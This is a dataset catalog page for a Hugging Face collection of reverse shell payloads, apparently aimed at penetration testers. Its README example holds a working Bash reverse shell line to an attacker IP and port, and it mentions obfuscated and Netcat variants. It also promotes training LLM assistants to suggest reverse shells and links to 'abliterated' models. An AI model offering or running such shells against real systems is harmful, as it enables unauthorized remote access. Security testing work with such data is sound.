misc 0 0 0

darkknight25/Reverse_Shell_Payloads_Dataset

published by @darkknight25

Alignment dataset tracked in the /datasets sub-catalog.

Lifetime downloads
2K
Last 30 days
627
Likes
1
Size
154 KB
Created on HF
2025-05-20
Age
1 years ago

Description

🐚 Reverse Shell Payloads Dataset

A curated and structured dataset of reverse shell payloads used by penetration testers, red teams, and ethical hackers to establish remote command-line access during security assessments.

This dataset provides a diverse set of payloads across multiple platforms and scripting languages, including Bash, PowerShell, Python, Perl, and Netcat.

πŸ“ Dataset Format

The dataset is provided in .jsonl (JSON Lines) format β€” each line… See the full description on the dataset page: https://huggingface.co/datasets/darkknight25/Reverse_Shell_Payloads_Dataset.

Tags

task_categories:text-classificationlanguage:enlicense:mitsize_categories:n<1Kregion:uscode

README current version from Hugging Face


license: mit
task_categories:

  • text-classification
    language:
  • en
    tags:
  • code
    pretty_name: sunny thakur
    size_categories:
  • n<1K

🐚 Reverse Shell Payloads Dataset

A curated and structured dataset of reverse shell payloads used by penetration testers, red teams, and ethical hackers to establish remote command-line access during security assessments.

This dataset provides a diverse set of payloads across multiple platforms and scripting languages, including Bash, PowerShell, Python, Perl, and Netcat.


πŸ“ Dataset Format

The dataset is provided in .jsonl (JSON Lines) format β€” each line represents a single reverse shell payload with its associated metadata.

Example Entry:

{
  "id": "rshell-001",
  "language": "bash",
  "payload": "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1",
  "description": "Basic Bash TCP reverse shell connecting to attacker host.",
  "platform": "Linux",
  "requires_netcat": false,
  "obfuscated": false,
  "tag": ["tcp", "bash"]
}
πŸ” Fields Description
Field	Description
id	Unique identifier for the payload
language	Language used (e.g., Bash, Python, PowerShell)
payload	Full reverse shell command
description	Explanation of how the payload works
platform	Target OS (e.g., Linux, Windows)
requires_netcat	Whether the payload depends on netcat (nc)
obfuscated	Whether the payload is encoded or obfuscated
tag	List of tags (e.g., tcp, bash, obfuscated)
πŸ§ͺ Payload Types Included

    🐧 Bash TCP & UDP shells

    πŸͺŸ PowerShell with/without obfuscation

    🐍 Python one-liners

    πŸ¦€ Perl reverse shells

    πŸ› οΈ Netcat variations (-e, named pipes, backconnects)

    🧬 Base64-encoded / eval / hidden commands

βœ… Use Cases

    Red team cheat sheets and playbooks

    CTFs and pentesting simulations

    LLM red team assistant training (e.g., β€œSuggest a reverse shell”)

    Automated payload generators

    Adversary emulation platforms

⚠️ Disclaimer

This dataset is for educational and authorized penetration testing purposes only. Do not use these payloads on systems you do not own or have permission to test.
πŸ“œ License

Released under the MIT License.
🀝 Contributions

Want to add more reverse shells? PRs welcome for:

    Different scripting languages

    Obfuscation styles

    Encoded or encrypted payloads

    Staged connection shells

README history 3 revisions

Every night we snapshot the README of every dataset in the catalog. When the SHA changes we archive the new version and diff it against the last. This is the evolving thought record of the alignment-data field: what the author decided to say about the corpus, and how that framing shifted over time.

  1. 2025-05-20Update README.md3593b322.3 KB
    Loading...
  2. 2025-05-20Upload Reverseshell_payloads_dataset.jsonl0f5b91724 B
    Loading...
  3. 2025-05-20initial commit8d3847924 B
    Loading...

Used by abliterated models none yet

No abliterated models in our catalog have declared this dataset in their YAML metadata yet. This can mean the dataset is used but not declared, is used outside abliteration workflows, or is new. The link will populate automatically as models are indexed.

Related datasets same stage Β· misc

Read further

Metadata

License
mit

Repository

Download the dataset

0

Copy any of these snippets into your notebook or terminal. All three fetch directly from Hugging Face using your own credentials.

Recommended: datasets library (Python)
from datasets import load_dataset
ds = load_dataset("darkknight25/Reverse_Shell_Payloads_Dataset")
Raw snapshot (Python)
from huggingface_hub import snapshot_download
snapshot_download(repo_id="darkknight25/Reverse_Shell_Payloads_Dataset", repo_type="dataset")
git clone (requires git-lfs)
git clone https://huggingface.co/datasets/darkknight25/Reverse_Shell_Payloads_Dataset
Catalog is the map. Apps are the tools.

Run models on your own machine, not in the cloud.

Every model page has an "Open in Abliteration" button that hands the model directly to the first-party desktop client, at the quantization your rig can actually run. No API keys, no subscription, no prompt leakage.

Open in Abliteration